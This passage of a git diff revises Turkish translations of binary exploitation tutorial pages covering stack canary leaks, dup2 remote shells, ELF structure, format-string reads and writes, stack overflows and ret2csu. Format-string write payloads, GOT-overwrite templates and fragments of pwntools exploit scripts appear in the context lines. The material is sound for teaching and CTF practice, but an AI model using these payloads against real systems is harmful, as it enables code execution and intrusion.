bilerek **yeni bir saldırı oluşturup gönderebilir**. -Açıkça, bu taktik çok **kısıtlıdır** çünkü saldırganın **kanaryayı** **sızdırmak** için **payload'unun içeriğini** **yazdırabilmesi** ve ardından **yeni bir payload** oluşturup (aynı program oturumunda) **gerçek buffer overflow'u gönderebilmesi** gerekir. +Açıkça, bu taktik çok **kısıtlıdır** çünkü saldırgan, **kanaryayı** **sızdırmak** için **payload'unun içeriğini** **yazdırabilmelidir** ve ardından **yeni bir payload** oluşturup (aynı program oturumunda) **gerçek buffer overflow'u** **gönderebilmelidir**. **CTF örnekleri:** - [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) -- 64 bit, ASLR etkin ama PIE yok, ilk adım kanaryanın 0x00 baytına kadar bir taşma doldurmak ve ardından puts'u çağırarak sızdırmaktır. Kanarya ile bir ROP aparatı oluşturulur, puts'u çağırarak GOT'tan puts'un adresini sızdırır ve ardından `system('/bin/sh')` çağırmak için bir ROP aparatı. +- 64 bit, ASLR etkin ama PIE yok, ilk adım kanaryanın 0x00 baytına kadar bir taşma doldurmak ve ardından puts'u çağırarak sızdırmaktır. Kanarya ile bir ROP gadget'ı oluşturulur, puts'u çağırarak GOT'tan puts'un adresini sızdırır ve ardından `system('/bin/sh')` çağırmak için bir ROP gadget'ı oluşturur. ## Keyfi Okuma diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md index ceb4424c7..0235f7b32 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -## Uzak Sömürüde FDs +## Uzak Sömürüde FD'ler -Örneğin, **`system('/bin/sh')`** çağrısı yapan bir sömürü gönderdiğinizde, bu sunucu sürecinde çalıştırılacak ve `/bin/sh` stdin'den (FD: `0`) girdi bekleyecek ve stdout ile stderr'de (FD'ler `1` ve `2`) çıktı verecektir. Bu nedenle, saldırgan shell ile etkileşimde bulunamayacaktır. +Örneğin, **`system('/bin/sh')`** çağrısı yapan bir sömürü gönderdiğinizde, bu sunucu sürecinde çalıştırılacak ve `/bin/sh` stdin'den (FD: `0`) girdi bekleyecek ve stdout ile stderr'de (FD'ler `1` ve `2`) çıktıyı yazdıracaktır. Bu nedenle, saldırgan shell ile etkileşimde bulunamayacaktır. Bunu düzeltmenin bir yolu, sunucu başlatıldığında **FD numarası `3`** (dinleme için) oluşturduğunu ve ardından bağlantınızın **FD numarası `4`** olacağını varsaymaktır. Bu nedenle, stdin'i (FD 0) ve stdout'u (FD 1) FD 4'te (saldırganın bağlantısı) çoğaltmak için **`dup2`** sistem çağrısını kullanmak mümkündür, böylece shell çalıştırıldığında onunla iletişim kurmak mümkün olacaktır. -[**Buradan Sömürü örneği**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): +[**Buradan sömürü örneği**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): ```python from pwn import * @@ -29,7 +29,7 @@ p.interactive() socat'ın zaten `stdin` ve `stdout`'u sokete aktardığını unutmayın. Ancak, `pty` modu **DELETE karakterlerini içerir**. Yani, bir `\x7f` (`DELETE` -) gönderirseniz, bu **saldırınızın önceki karakterini siler**. -Bunu aşmak için **herhangi bir gönderilen `\x7f`'ye `\x16` kaçış karakteri eklenmelidir.** +Bunu aşmak için **her gönderilen `\x7f`'ye `\x16` kaçış karakteri eklenmelidir.** **Burada bu davranışın** [**bir örneğini bulabilirsiniz**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md index 5b42e456e..242fba324 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md @@ -4,7 +4,7 @@ ## Program Headers -ELF'nin belleğe nasıl yükleneceğini yükleyiciye tarif eder: +Yükleyiciye ELF'yi belleğe nasıl yükleyeceğini tarif eder: ```bash readelf -lW lnstat @@ -37,11 +37,11 @@ Segment Sections... 07 08 .init_array .fini_array .dynamic .got ``` -Önceki programda **9 program başlığı** bulunmaktadır, ardından **segment haritalaması**, **her bölümün nerede bulunduğunu** (00'dan 08'e kadar) gösterir. +Önceki programda **9 program başlığı** bulunmaktadır, ardından **segment haritalaması** her bölümün hangi program başlığında (00'dan 08'e kadar) **bulunduğunu** gösterir. ### PHDR - Program HeaDeR -Program başlık tablolarını ve meta verileri içerir. +Program başlığı tablolarını ve meta verileri içerir. ### INTERP @@ -49,7 +49,7 @@ Program başlık tablolarını ve meta verileri içerir. ### LOAD -Bu başlıklar, **bir ikili dosyayı belleğe nasıl yükleyeceğini** belirtmek için kullanılır.\ +Bu başlıklar, **bir ikili dosyayı belleğe nasıl yükleyeceğinizi** belirtmek için kullanılır.\ Her **LOAD** başlığı, **bellek** bölgesini (boyut, izinler ve hizalama) belirtir ve ELF **ikilisinden kopyalanacak baytları** gösterir. Örneğin, ikincisi 0x1190 boyutundadır, 0x1fc48'de bulunmalı, okuma ve yazma izinlerine sahip olmalı ve 0xfc48'den 0x528 ile doldurulacaktır (tüm ayrılan alanı doldurmaz). Bu bellek, `.init_array .fini_array .dynamic .got .data .bss` bölümlerini içerecektir. @@ -145,7 +145,7 @@ CONTENTS, READONLY 25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 CONTENTS, READONLY ``` -Aynı zamanda konum, ofset, izinler ama ayrıca bölümün **veri türü** hakkında da bilgi verir. +Aynı zamanda konum, ofset, izinler ve bölümün **veri türü** hakkında bilgi verir. ### Meta Bölümleri @@ -157,7 +157,7 @@ Aynı zamanda konum, ofset, izinler ama ayrıca bölümün **veri türü** hakk - **`.text`**: Çalıştırılacak programın talimatları. - **`.data`**: Programda tanımlı bir değere sahip global değişkenler. -- **`.bss`**: Başlatılmamış (veya sıfıra başlatılmış) global değişkenler. Buradaki değişkenler otomatik olarak sıfıra başlatılır, bu nedenle gereksiz sıfırların ikili dosyaya eklenmesini önler. +- **`.bss`**: Başlatılmamış (veya sıfıra başlatılmış) global değişkenler. Buradaki değişkenler otomatik olarak sıfıra başlatılır, böylece gereksiz sıfırların ikili dosyaya eklenmesi engellenir. - **`.rodata`**: Sabit global değişkenler (salt okunur bölüm). - **`.tdata`** ve **`.tbss`**: Thread-local değişkenler kullanıldığında .data ve .bss gibi (`__thread_local` C++'ta veya `__thread` C'de). - **`.dynamic`**: Aşağıya bakın. @@ -231,9 +231,9 @@ Tag Type Name/Value ``` NEEDED dizini, programın devam edebilmesi için **belirtilen kütüphaneyi yüklemesi gerektiğini** gösterir. NEEDED dizini, paylaşılan **kütüphane tamamen çalışır ve kullanıma hazır olduğunda** tamamlanır. -## Yeniden Yerleştirmeler +## Yeniden Konumlandırmalar -Yükleyici, bağımlılıkları yükledikten sonra yeniden yerleştirmeleri de yapmalıdır. Bu yeniden yerleştirmeler, REL veya RELA formatlarında yeniden yerleştirme tablosunda belirtilir ve yeniden yerleştirmelerin sayısı dinamik bölümlerde RELSZ veya RELASZ ile verilir. +Yükleyici, bağımlılıkları yükledikten sonra yeniden konumlandırmak zorundadır. Bu yeniden konumlandırmalar, REL veya RELA formatlarında yeniden konumlandırma tablosunda belirtilir ve yeniden konumlandırmaların sayısı dinamik bölümlerde RELSZ veya RELASZ ile verilir. ``` readelf -r lnstat @@ -308,19 +308,19 @@ Offset Info Type Sym. Value Sym. Name + Addend ``` ### Statik Yeniden Yerleştirmeler -Eğer **program tercih edilen adresten** (genellikle 0x400000) farklı bir yere yüklenirse, çünkü adres zaten kullanılıyordur ya da **ASLR** veya başka bir sebepten dolayı, statik bir yeniden yerleştirme **işaretçileri düzeltir** ki bu işaretçiler, ikili dosyanın tercih edilen adreste yükleneceğini bekliyordu. +Eğer **program tercih edilen adresten** (genellikle 0x400000) farklı bir yerde yüklenirse, çünkü adres zaten kullanılıyordur ya da **ASLR** veya başka bir sebepten dolayı, statik bir yeniden yerleştirme **işaretçileri düzeltir** ki bu işaretçiler, ikili dosyanın tercih edilen adreste yükleneceğini bekliyordu. -Örneğin, `R_AARCH64_RELATIV` türündeki herhangi bir bölüm, yeniden yerleştirme kayması artı ekleme değeri ile adresi değiştirmiş olmalıdır. +Örneğin, `R_AARCH64_RELATIV` türündeki herhangi bir bölüm, yeniden yerleştirme kayması artı ekleme değeri ile adresi değiştirmelidir. ### Dinamik Yeniden Yerleştirmeler ve GOT -Yeniden yerleştirme ayrıca bir dış sembole (bir bağımlılıktan bir fonksiyon gibi) de referans verebilir. Örneğin, libC'den malloc fonksiyonu. O zaman, yükleyici libC'yi bir adrese yüklerken malloc fonksiyonunun yüklendiği yeri kontrol eder, bu adresi GOT (Küresel Ofset Tablosu) tablosuna yazar (yeniden yerleştirme tablosunda belirtilmiştir) burada malloc'un adresinin belirtilmesi gerekir. +Yeniden yerleştirme ayrıca bir dış sembole (bir bağımlılıktan bir fonksiyon gibi) atıfta bulunabilir. Örneğin, libC'den malloc fonksiyonu. O zaman, yükleyici libC'yi bir adreste yüklerken malloc fonksiyonunun yüklendiği yeri kontrol eder, bu adresi GOT (Küresel Ofset Tablosu) tablosuna yazar (yeniden yerleştirme tablosunda belirtilmiştir) burada malloc'un adresinin belirtilmesi gerekir. ### Prosedür Bağlantı Tablosu -PLT bölümü tembel bağlama yapmayı sağlar, bu da bir fonksiyonun yerinin çözümlemesinin ilk kez erişildiğinde gerçekleştirileceği anlamına gelir. +PLT bölümü tembel bağlama yapmayı sağlar, bu da bir fonksiyonun konumunun çözümlemesinin ilk kez erişildiğinde gerçekleştirileceği anlamına gelir. -Yani bir program malloc çağırdığında, aslında PLT'deki `malloc`'un karşılık gelen yerini çağırır (`malloc@plt`). İlk kez çağrıldığında `malloc`'un adresini çözer ve bunu saklar, böylece bir sonraki `malloc` çağrıldığında, bu adres PLT kodu yerine kullanılır. +Bu nedenle bir program malloc çağırdığında, aslında PLT'deki `malloc`'un karşılık gelen konumunu çağırır (`malloc@plt`). İlk kez çağrıldığında `malloc`'un adresini çözer ve bunu saklar, böylece bir sonraki sefer `malloc` çağrıldığında, bu adres PLT kodu yerine kullanılır. ## Program Başlatma @@ -345,18 +345,18 @@ printf("Main\n"); return 0; } ``` -Bu global değişkenlerin `.data` veya `.bss` içinde bulunduğunu unutmayın, ancak `__CTOR_LIST__` ve `__DTOR_LIST__` listelerinde, başlatılacak ve yok edilecek nesneler saklanır, böylece bunların takibi yapılabilir. +Bu global değişkenlerin `.data` veya `.bss` içinde bulunduğunu unutmayın, ancak `__CTOR_LIST__` ve `__DTOR_LIST__` listelerinde başlatılacak ve yok edilecek nesneler saklanır, böylece bunların takibi yapılabilir. C kodundan aynı sonuca GNU uzantılarını kullanarak ulaşmak mümkündür: ```c __attributte__((constructor)) //Add a constructor to execute before __attributte__((destructor)) //Add to the destructor list ``` -Derleyici perspektifinden, `main` fonksiyonu çalıştırılmadan önce ve sonra bu eylemleri gerçekleştirmek için, dinamik bölümde **`INIT`** ve **`FIN`** olarak referans verilecek bir `init` fonksiyonu ve bir `fini` fonksiyonu oluşturmak mümkündür. Bu fonksiyonlar ELF'nin `init` ve `fini` bölümlerine yerleştirilir. +Derleyici perspektifinden, `main` fonksiyonu çalıştırılmadan önce ve sonra bu eylemleri gerçekleştirmek için, dinamik bölümde **`INIT`** ve **`FIN`** olarak referans verilecek bir `init` fonksiyonu ve bir `fini` fonksiyonu oluşturmak mümkündür. Bu fonksiyonlar ELF'nin `init` ve `fini` bölümlerinde yer alır. Diğer bir seçenek, bahsedildiği gibi, dinamik bölümdeki **`INIT_ARRAY`** ve **`FINI_ARRAY`** girişlerinde **`__CTOR_LIST__`** ve **`__DTOR_LIST__`** listelerine referans vermektir ve bunların uzunluğu **`INIT_ARRAYSZ`** ve **`FINI_ARRAYSZ`** ile belirtilir. Her giriş, argüman olmadan çağrılacak bir fonksiyon işaretçisidir. -Ayrıca, **`INIT_ARRAY`** işaretçilerinden **önce** çalıştırılacak **işaretçiler** ile bir **`PREINIT_ARRAY`** olması da mümkündür. +Ayrıca, **`INIT_ARRAY`** işaretçileri **önce** çalıştırılacak **işaretçileri** içeren bir **`PREINIT_ARRAY`** olması da mümkündür. ### Başlatma Sırası @@ -375,7 +375,7 @@ Her bir thread, bu değişken için benzersiz bir konum tutacaktır, böylece ya Bu kullanıldığında, ELF'de **`.tdata`** ve **`.tbss`** bölümleri kullanılır. Bunlar, TLS için `.data` (başlatılmış) ve `.bss` (başlatılmamış) gibidir. -Her değişken, boyutu ve thread'in yerel veri alanında kullanacağı TLS ofsetini belirten bir TLS başlığında bir girişe sahip olacaktır. +Her değişken, boyutu ve thread'in yerel veri alanında kullanacağı ofseti belirten TLS başlığında bir girişe sahip olacaktır. `__TLS_MODULE_BASE`, thread yerel depolamanın temel adresine atıfta bulunmak için kullanılan bir semboldür ve bir modülün tüm thread yerel verilerini içeren bellek alanına işaret eder. diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md index 634fa3092..8782e875a 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md @@ -4,9 +4,9 @@ ## Temel Bilgiler -C'de **`printf`** bazı metinleri **yazdırmak** için kullanılabilen bir fonksiyondur. Bu fonksiyonun beklediği **ilk parametre**, **formatlayıcılarla birlikte ham metin**'dir. Beklenen **sonraki parametreler**, ham metindeki **formatlayıcıları** **değiştirmek** için **değerler**dir. +C'de **`printf`** bir dizeyi **yazdırmak** için kullanılabilecek bir işlevdir. Bu işlevin beklediği **ilk parametre**, **formatlayıcılarla birlikte ham metin**'dir. Beklenen **sonraki parametreler**, ham metindeki **formatlayıcıları** **değiştirmek** için gereken **değerler**dir. -Zafiyet, bir **saldırgan metni bu fonksiyona ilk argüman olarak kullanıldığında** ortaya çıkar. Saldırgan, **printf format** dizesinin yeteneklerini kötüye kullanarak **herhangi bir adresteki (okunabilir/yazılabilir)** veriyi okumak ve **yazmak** için **özel bir girdi oluşturabilir**. Bu şekilde **rastgele kod çalıştırma** yeteneğine sahip olur. +Zafiyet, bu işlev için **ilk argüman olarak bir saldırgan metni kullanıldığında** ortaya çıkar. Saldırgan, **printf format** dizesinin yeteneklerini kötüye kullanarak **herhangi bir adresteki (okunabilir/yazılabilir)** veriyi okumak ve **yazmak** için özel bir **girdi oluşturabilir**. Bu şekilde **rastgele kod çalıştırma** yeteneğine sahip olur. #### Formatlayıcılar: ```bash @@ -49,14 +49,14 @@ printf("$4%x") ``` ve doğrudan dördüncüyü okuyun. -Saldırganın `pr`**`intf` parametresini kontrol ettiğini unutmayın, bu temelde** girdiğinin `printf` çağrıldığında yığında olacağı anlamına gelir, bu da belirli bellek adreslerini yığında yazabileceği anlamına gelir. +Saldırganın `pr`**`intf` parametresini kontrol ettiğini unutmayın, bu temelde** onun girdiğinin `printf` çağrıldığında yığında olacağı anlamına gelir, bu da belirli bellek adreslerini yığında yazabileceği anlamına gelir. > [!CAUTION] -> Bu girişi kontrol eden bir saldırgan, **yığında rastgele adresler ekleyebilir ve `printf`'in bunlara erişmesini sağlayabilir**. Bu davranışın nasıl kullanılacağı bir sonraki bölümde açıklanacaktır. +> Bu girişi kontrol eden bir saldırgan, **yığında rastgele adres ekleyebilir ve `printf`'in bunlara erişmesini sağlayabilir**. Bu davranışın nasıl kullanılacağı bir sonraki bölümde açıklanacaktır. ## **Rastgele Okuma** -Biçimlendiriciyi **`$n%s`** kullanarak **`printf`'in** **n pozisyonunda** bulunan **adres**i almasını sağlamak mümkündür, ardından bunu **bir dizeymiş gibi yazdırır** (0x00 bulunana kadar yazdırır). Yani, eğer ikili dosyanın temel adresi **`0x8048000`** ise ve kullanıcı girdisinin yığında 4. pozisyonda başladığını biliyorsak, ikilinin başlangıcını yazdırmak mümkündür: +Formatlayıcı **`$n%s`** kullanarak **`printf`**'in **n pozisyonunda** bulunan **adres**i alması ve **bunu bir dizeymiş gibi yazdırması** mümkündür (0x00 bulunana kadar yazdır). Yani, eğer ikili dosyanın temel adresi **`0x8048000`** ise ve kullanıcı girdisinin yığında 4. pozisyonda başladığını biliyorsak, ikilinin başlangıcını yazdırmak mümkündür: ```python from pwn import * @@ -76,7 +76,7 @@ log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' Formatlayıcı **`$%n`** **yazdığı bayt sayısını** **belirtilen adrese** \ parametresinde yazar. Eğer bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, **`$%n`** ile rastgele bir sayıyı rastgele bir adrese yazabilecektir. -Neyse ki, 9999 sayısını yazmak için girişi 9999 "A" ile doldurmak gerekmez, bu nedenle **`%.%$n`** formatlayıcısını kullanarak **``** sayısını **`num` pozisyonunu gösteren adrese** yazmak mümkündür. +Neyse ki, 9999 sayısını yazmak için girişi 9999 "A" ile doldurmak gerekmez, bunun yerine **`%.%$n`** formatlayıcısını kullanarak **``** sayısını **`num` pozisyonunu gösteren adrese** yazmak mümkündür. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 @@ -92,12 +92,12 @@ Bu örnekte, hedef, daha sonra çağrılacak olan **GOT** tablosundaki bir **fon {{#endref}} Bir **fonksiyonu** **üst üste yazacağız** ki bu **kullanıcıdan** **argümanlarını** **alır** ve **`system`** **fonksiyonuna** **işaret eder**.\ -Belirtildiği gibi, adresi yazmak için genellikle 2 adım gereklidir: Önce adresin 2 Bayt'ını yazarsınız ve sonra diğer 2'sini. Bunu yapmak için **`$hn`** kullanılır. +Belirttiğimiz gibi, adresi yazmak için genellikle 2 adım gereklidir: Önce adresin 2 Bayt'ını yazarsınız ve sonra diğer 2'sini. Bunu yapmak için **`$hn`** kullanılır. -- **HOB**, adresin 2 en yüksek baytına çağrılır -- **LOB**, adresin 2 en düşük baytına çağrılır +- **HOB**, adresin 2 yüksek baytına çağrılır +- **LOB**, adresin 2 düşük baytına çağrılır -Daha sonra, format dizesinin nasıl çalıştığı nedeniyle, önce \[HOB, LOB]'nin en küçüğünü **yazmanız** ve ardından diğerini yazmanız gerekir. +Daha sonra, format dizesinin nasıl çalıştığı nedeniyle, önce \[HOB, LOB]'nin en küçüğünü **yazmanız** gerekir ve sonra diğerini. Eğer HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md index 91e657f6d..a7a3e6fe3 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md @@ -4,12 +4,12 @@ ## Stack Overflow Nedir -Bir **stack overflow**, bir programın yığın (stack) için ayrılan alandan daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, **komşu bellek alanını üzerine yazarak**, geçerli verilerin bozulmasına, kontrol akışının kesintiye uğramasına ve potansiyel olarak kötü niyetli kodun çalıştırılmasına yol açar. Bu sorun genellikle, girdi üzerinde sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır. +Bir **stack overflow**, bir programın yığın (stack) belleğine tahsis edilen miktardan daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, **komşu bellek alanını üzerine yazarak**, geçerli verilerin bozulmasına, kontrol akışının kesintiye uğramasına ve potansiyel olarak kötü niyetli kodun çalıştırılmasına yol açar. Bu sorun genellikle, girdi üzerinde sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır. -Bu üzerine yazmanın ana sorunu, **kayıtlı komut işaretçisi (EIP/RIP)** ve önceki fonksiyona dönmek için **kayıtlı temel işaretçi (EBP/RBP)** değerlerinin **yığın üzerinde saklanmasıdır**. Bu nedenle, bir saldırgan bu değerleri üzerine yazabilir ve **programın yürütme akışını kontrol edebilir**. +Bu üzerine yazmanın ana sorunu, **kayıtlı talimat işaretçisi (EIP/RIP)** ve önceki fonksiyona dönmek için **kayıtlı temel işaretçi (EBP/RBP)** değerlerinin **yığın üzerinde saklanmasıdır**. Bu nedenle, bir saldırgan bu değerleri üzerine yazabilir ve **programın yürütme akışını kontrol edebilir**. -Güvenlik açığı genellikle bir fonksiyonun **yığın içine ayrılan miktardan daha fazla bayt kopyalaması** nedeniyle ortaya çıkar ve bu da yığının diğer kısımlarını üzerine yazmasına olanak tanır.\ -Buna karşı duyarlı bazı yaygın fonksiyonlar şunlardır: `strcpy`, `strcat`, `sprintf`, `gets`... Ayrıca, bir uzunluk argümanı alan `fgets` veya `read` gibi fonksiyonlar, belirtilen uzunluk ayrılan uzunluktan büyükse, savunmasız bir şekilde kullanılabilir. +Güvenlik açığı genellikle bir fonksiyonun **yığının içine tahsis edilen miktardan daha fazla bayt kopyalaması** nedeniyle ortaya çıkar, bu da yığının diğer kısımlarını üzerine yazmasına olanak tanır.\ +Buna karşı duyarlı bazı yaygın fonksiyonlar şunlardır: `strcpy`, `strcat`, `sprintf`, `gets`... Ayrıca, belirtilen uzunluk tahsis edilenden büyükse, `fgets` veya `read` gibi uzunluk argümanı alan fonksiyonlar da savunmasız bir şekilde kullanılabilir. Örneğin, aşağıdaki fonksiyonlar savunmasız olabilir: ```c @@ -24,11 +24,11 @@ printf("You entered: %s\n", buffer); Stack overflow'ları bulmanın en yaygın yolu, çok büyük bir `A` girişi vermektir (örneğin, `python3 -c 'print("A"*1000)'`) ve **`0x41414141` adresine erişilmeye çalışıldığını** belirten bir `Segmentation Fault` beklemektir. -Ayrıca, Stack Overflow zafiyetini bulduktan sonra, **geri dönüş adresini** yazmak için gereken ofseti bulmanız gerekecek; bunun için genellikle bir **De Bruijn dizisi** kullanılır. Verilen bir _k_ boyutundaki alfabede ve _n_ uzunluğundaki alt diziler için, bu, **herhangi bir olası _n_ uzunluğundaki alt dizinin tam olarak bir kez** bitişik bir alt dizi olarak göründüğü **döngüsel bir dizidir.** +Ayrıca, Stack Overflow zafiyetini bulduktan sonra, **geri dönüş adresini** yazmak için gereken ofseti bulmanız gerekecek; bunun için genellikle bir **De Bruijn dizisi** kullanılır. Verilen bir _k_ boyutundaki alfabede ve _n_ uzunluğundaki alt diziler için, bu, **herhangi bir _n_ uzunluğundaki alt dizinin tam olarak bir kez** bitişik bir alt dizi olarak göründüğü **döngüsel bir dizidir.** -Bu şekilde, EIP'yi kontrol etmek için gereken ofseti elle bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından onu yazmayı bitiren baytların ofsetini bulmak mümkündür. +Bu şekilde, EIP'yi kontrol etmek için hangi ofsetin gerektiğini elle bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından onu yazmayı bitiren baytların ofsetini bulmak mümkündür. -Bunun için **pwntools** kullanılabilir: +Bunun için **pwntools** kullanmak mümkündür: ```python from pwn import * @@ -49,8 +49,8 @@ pattern search $rsp #Search the offset given the content of $rsp ``` ## Yığın Taşmalarını İstismar Etme -Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) yığın içindeki yerel değişkenlerin değerlerini, kaydedilmiş EBP/RBP ve EIP/RIP'ye ulaşana kadar yazabilirsiniz (hatta daha fazlasına).\ -Bu tür bir zafiyeti istismar etmenin en yaygın yolu, **dönüş adresini değiştirmektir**, böylece fonksiyon sona erdiğinde **kontrol akışı, kullanıcının bu işaretçide belirttiği yere yönlendirilecektir**. +Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) yığın içindeki yerel değişkenlerin değerlerini, kaydedilmiş EBP/RBP ve EIP/RIP'ye ulaşana kadar yazabilirsiniz.\ +Bu tür bir zafiyeti istismar etmenin en yaygın yolu, **dönüş adresini değiştirmektir**, böylece fonksiyon sona erdiğinde **kontrol akışı kullanıcının bu işaretçide belirttiği yere yönlendirilecektir**. Ancak, diğer senaryolarda sadece **yığındaki bazı değişken değerlerini yazmak** istismar için yeterli olabilir (kolay CTF zorluklarında olduğu gibi). diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md index 5f6d4c877..0c81578b9 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md @@ -16,9 +16,9 @@ Bunun bir örneğini bulabilirsiniz: ## Function pointers -String pointer ile aynı, ancak fonksiyonlara uygulanır; eğer **stack bir fonksiyonun adresini** içeriyorsa ve bu fonksiyon çağrılacaksa, **değiştirmek mümkündür** (örneğin **`system`** çağırmak için). +String pointer ile aynı, ancak fonksiyonlara uygulanır; eğer **yığın bir fonksiyonun adresini** içeriyorsa ve bu fonksiyon çağrılacaksa, **değiştirmek mümkündür** (örneğin **`system`** çağırmak için). -Bir örneğini bulabilirsiniz: +Bunun bir örneğini bulabilirsiniz: - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c) diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md index 0d61ba7bf..44805bb19 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md @@ -6,7 +6,7 @@ **ret2csu**, bir programın kontrolünü ele almaya çalışırken genellikle programın davranışını manipüle etmek için kullandığınız **gadgets**'ları bulamadığınızda kullanılan bir hacking tekniğidir. -Bir program belirli kütüphaneleri (libc gibi) kullandığında, programın farklı parçalarının birbirleriyle nasıl iletişim kurduğunu yönetmek için bazı yerleşik işlevlere sahiptir. Bu işlevler arasında, özellikle `__libc_csu_init` adı verilen kaybolan gadgets'larımız olarak işlev görebilecek bazı gizli mücevherler bulunmaktadır. +Bir program belirli kütüphaneleri (libc gibi) kullandığında, programın farklı parçalarının birbirleriyle nasıl iletişim kuracağını yönetmek için bazı yerleşik fonksiyonlara sahiptir. Bu fonksiyonlar arasında, özellikle `__libc_csu_init` adı verilen kaybolan gadgets'larımız olarak işlev görebilecek bazı gizli mücevherler bulunmaktadır. ### \_\_libc_csu_init'deki Sihirli Gadgets @@ -35,14 +35,14 @@ call qword [r15 + rbx*8]; ``` ## Örnek -Bir syscall yapmak veya `write()` gibi bir fonksiyonu çağırmak istediğinizi hayal edin, ancak `rdx` ve `rsi` register'larında belirli değerlere ihtiyaç var. Normalde, bu register'ları doğrudan ayarlayan gadget'lar ararsınız, ancak bulamazsınız. +Bir syscall yapmak veya `write()` gibi bir fonksiyonu çağırmak istediğinizi hayal edin, ancak `rdx` ve `rsi` kayıtlarında belirli değerlere ihtiyacınız var. Normalde, bu kayıtları doğrudan ayarlayan gadget'lar ararsınız, ancak bulamazsınız. İşte burada **ret2csu** devreye giriyor: -1. **Register'ları Ayarlayın**: İlk sihirli gadget'ı kullanarak yığın değerlerini rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e pop edin. -2. **İkinci Gadget'ı Kullanın**: Bu register'lar ayarlandığında, ikinci gadget'ı kullanırsınız. Bu, seçtiğiniz değerleri `rdx` ve `rsi`'ye (sırasıyla r14 ve r13'ten) taşımanıza olanak tanır ve bir fonksiyon çağrısı için parametreleri hazırlar. Ayrıca, `r15` ve `rbx`'i kontrol ederek, programın hesapladığınız adreste bulunan bir fonksiyonu çağırmasını sağlayabilirsiniz ve bunu `[r15 + rbx*8]` adresine yerleştirebilirsiniz. +1. **Kayıtları Ayarlayın**: İlk sihirli gadget'ı kullanarak yığın değerlerini rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) ve r15'e pop edin. +2. **İkinci Gadget'ı Kullanın**: Bu kayıtlar ayarlandığında, ikinci gadget'ı kullanırsınız. Bu, seçtiğiniz değerleri `rdx` ve `rsi`'ye (sırasıyla r14 ve r13'ten) taşımanıza olanak tanır ve bir fonksiyon çağrısı için parametreleri hazırlar. Ayrıca, `r15` ve `rbx`'i kontrol ederek, programın hesapladığınız adreste bulunan bir fonksiyonu çağırmasını sağlayabilirsiniz ve bunu `[r15 + rbx*8]` içine yerleştirebilirsiniz. -Bu tekniği kullanan ve burada açıklayan bir [**örneğiniz var**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) ve bu, kullanılan son exploit'tir: +Bu tekniği kullanan ve burada açıklayan bir [**örneğiniz var**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation) ve bu, kullanılan son istismar: ```python from pwn import * diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md index 